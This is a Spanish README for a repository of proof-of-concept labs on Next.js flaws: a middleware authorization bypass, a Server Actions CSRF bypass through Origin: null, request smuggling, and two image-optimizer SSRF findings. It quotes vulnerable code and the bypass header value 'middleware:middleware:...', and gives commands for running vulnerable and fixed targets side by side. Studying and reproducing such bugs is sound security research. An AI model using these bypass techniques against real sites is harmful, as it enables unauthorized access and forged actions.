
Algunas Pruebas de Concepto (POCs) para CVE-2025-29927, CVE-2026-27978 y CVE-2026-29057 en Next.js.
Este repositorio contiene entornos de prueba de concepto reproducibles para tres vulnerabilidades de Next.js. Cada PoC incluye un objetivo vulnerable, un objetivo corregido y un script que demuestra la diferencia de comportamiento entre ambos.
El objetivo de este proyecto es facilitar la observación de la causa raíz y el impacto práctico de cada problema en un entorno mínimo.
| CVE | Aviso | Impacto | Versión vulnerable | Versión corregida |
|---|---|---|---|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | omisión de autorización cuando el control de acceso se basa únicamente en middleware | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | omisión de las comprobaciones CSRF de Server Actions mediante Origin: null | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | contrabando de solicitudes HTTP a través de reescrituras hacia un backend externo | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | hallazgo de auditoría de código fuente local | omisión de la lista permitida remota del optimizador de imágenes mediante redirecciones | 16.2.4 | no verificado |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | hallazgo de auditoría de código fuente local | la URL local del optimizador de imágenes puede alcanzar un upstream privado mediante reescrituras externas | 16.2.4 | no verificado |
Los hashes siguientes están tomados del upstream vercel/next.js.
| CVE | Commit de lanzamiento vulnerable | Commit de lanzamiento corregido | Commit de parche relevante |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose esté disponible.docker compose up --build
Puertos expuestos:
3001 -> CVE-2025-29927 vulnerable3002 -> CVE-2025-29927 corregido3003 -> CVE-2026-27978 vulnerable3004 -> CVE-2026-27978 corregido3005 -> CVE-2026-29057 vulnerable3006 -> CVE-2026-29057 corregido3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEEn este PoC, /dashboard está protegido únicamente por middleware:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
La comprobación de autorización en sí no es incorrecta. El problema es que la ruta depende por completo de la suposición de que la ejecución del middleware no se puede omitir.
En las versiones afectadas de Next.js, las solicitudes externas aún podían proporcionar la cabecera interna x-middleware-subrequest, y el runtime trataba ese valor como metadatos de middleware de confianza. La lógica vulnerable relevante era:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest no se filtraba allí, por lo que la entrada controlada por el atacante podía llegar al runtime del middleware. Ese valor se usaba después para derivar la profundidad de recursión:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
Si un atacante envía middleware:middleware:middleware:middleware:middleware, el runtime puede concluir que la profundidad de recursión ya se ha alcanzado y reenviar la solicitud sin ejecutar el middleware de la aplicación.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
Comportamiento esperado:
3001 devuelve una redirección sin la cabecera del exploit, pero devuelve 200 OK con x-middleware-subrequest.3002 sigue redirigiendo a /login porque la cabecera interna ya no se considera de confianza cuando proviene de entrada externa.Este PoC expone una Server Action normal que cambia el estado del lado del servidor:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
El problema no está en transferFunds() en sí. El comportamiento vulnerable estaba en la validación CSRF de Next.js para Server Actions. En las versiones afectadas, Origin: null se trataba como un origen ausente en lugar de un origen opaco explícito:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
Debido a que 'null' se convertía en undefined, las solicitudes desde orígenes opacos, como los iframes con sandbox, podían evitar la ruta de comparación host/origin y aun así procesarse con las cookies de la víctima adjuntas.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
Comportamiento esperado: